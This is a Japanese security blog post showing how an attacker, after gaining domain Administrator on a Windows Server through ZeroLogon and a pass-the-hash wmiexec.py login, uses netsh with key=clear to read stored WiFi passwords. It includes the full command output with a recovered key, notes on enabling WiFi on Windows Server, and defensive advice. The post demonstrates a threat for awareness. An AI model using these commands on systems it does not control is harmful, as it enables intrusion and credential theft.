WindowsのWiFiパスワードは厳重に管理されていると思われますが、コマンド一発で平文パスワードが表示されしまいます。今回は、マシン侵入からの、netshコマンドによるWiFiパスワード表示方法について紹介します。
なお、本稿は脅威を示すもので、不正利用を推奨するものではありません。
本人の管理下にないマシンに対して実施するなどの行為は、避けるようにお願いします。
はじめに
ツールnetshは多機能で、様々なネットワーク構成を管理してくれます。その1つにWiFi構成がありますが、clearオプションとともに用いることでWiFiパスワードが可読な状態で表示されます。
普通にログオンした状態でも表示可能ですが、以前紹介したZeroLogonを攻撃!CVE-2020-1472にMetasploitでWindowsマシンに不正侵入された形で、WiFiパスワードを表示させてみたいと思います。ここの侵入方法も、管理者権限が取れれば何でも構わないと思います。
Windows Serverに侵入
前回と同じく、ドメインコントローラーであるWindows Server 2016を用意し、攻撃しました。
最後の接続コマンドとして下記を実行し、ドメインAdministratorで侵入していることが分かります。
python3 wmiexec.py TESTDOM/Administrator@192.168.1.21 -hashes <hash value> -codec cp932
手順詳細は、ZeroLogonを攻撃!CVE-2020-1472にMetasploitを参照してください。
WiFiパスワード表示
奪取したコマンドプロンプトから下記コマンドを実行することで、WiFiプロファイルを特定しパスワードを取得します。特に技は不要です。
> netsh wlan show profile
インターフェイス Wi-Fi のプロファイル:
グループ ポリシー プロファイル (読み取り専用)
---------------------------------------------
<なし>
ユーザー プロファイル
---------------------
すべてのユーザー プロファイル : aterm-081c70-g
> netsh wlan show profile aterm-081c70-g
インターフェイス Wi-Fi のプロファイル aterm-081c70-g:
=======================================================================
適用先: すべてのユーザー プロファイル
プロファイル情報
-------------------
バージョン : 1
種類 : ワイヤレス LAN
名前 : aterm-081c70-g
コントロール オプション :
接続モード : 自動接続
ネットワーク ブロードキャスト : このネットワークがブロードキャスト配信している場合に限り接続
AutoSwitch : 他のネットワークに切り替えません
MAC ランダム化 : 無効
接続の設定
---------------------
SSID の数 : 1
SSID 名 : "aterm-081c70-g"
ネットワークの種類 : インフラストラクチャ
無線の種類 : [ 任意の無線の種類 ]
ベンダー拡張 : 存在しません
セキュリティの設定
-----------------
認証 : WPA2-パーソナル
暗号 : CCMP
認証 : WPA2-パーソナル
暗号 : 不明
セキュリティ キー : あり
コスト設定
-------------
コスト : 利用不可
> netsh wlan show profile aterm-081c70-g key=clear
インターフェイス Wi-Fi のプロファイル aterm-081c70-g:
=======================================================================
適用先: すべてのユーザー プロファイル
プロファイル情報
-------------------
バージョン : 1
種類 : ワイヤレス LAN
名前 : aterm-081c70-g
コントロール オプション :
接続モード : 自動接続
ネットワーク ブロードキャスト : このネットワークがブロードキャスト配信している場合に限り接続
AutoSwitch : 他のネットワークに切り替えません
MAC ランダム化 : 無効
接続の設定
---------------------
SSID の数 : 1
SSID 名 : "aterm-081c70-g"
ネットワークの種類 : インフラストラクチャ
無線の種類 : [ 任意の無線の種類 ]
ベンダー拡張 : 存在しません
セキュリティの設定
-----------------
認証 : WPA2-パーソナル
暗号 : CCMP
認証 : WPA2-パーソナル
暗号 : 不明
セキュリティ キー : あり
主要なコンテンツ : 10227181
コスト設定
-------------
コスト : 利用不可
Windows ServerのWi-Fiサポートについて
最後に、あまり使用機会の少ないWindows ServerでのWiFiデバイス接続に関し、いくつか対応手順が必要だったので書き残しておきます。
Windows ServerでWiFiデバイスを認識させるためには、下記3つのポイントがあります。忘れずに実施しましょう。
- WiFiデバイスのドライバを認識させる
- サーバー機能の追加で「ワイヤレスLANサービス」を追加する
- サービス一覧から、”WlanSvc”を開始する
まとめ
今回紹介したように、WindowsのWiFiパスワードを表示させるのは非常に簡単です。対面なら離席時にロックするとか、リモートならパッチを確実に当てて侵入されないようにするとか、セキュリティ意識を高めて対応しましょう。
以上、netshでWiFiパスワードを表示するの紹介でした。
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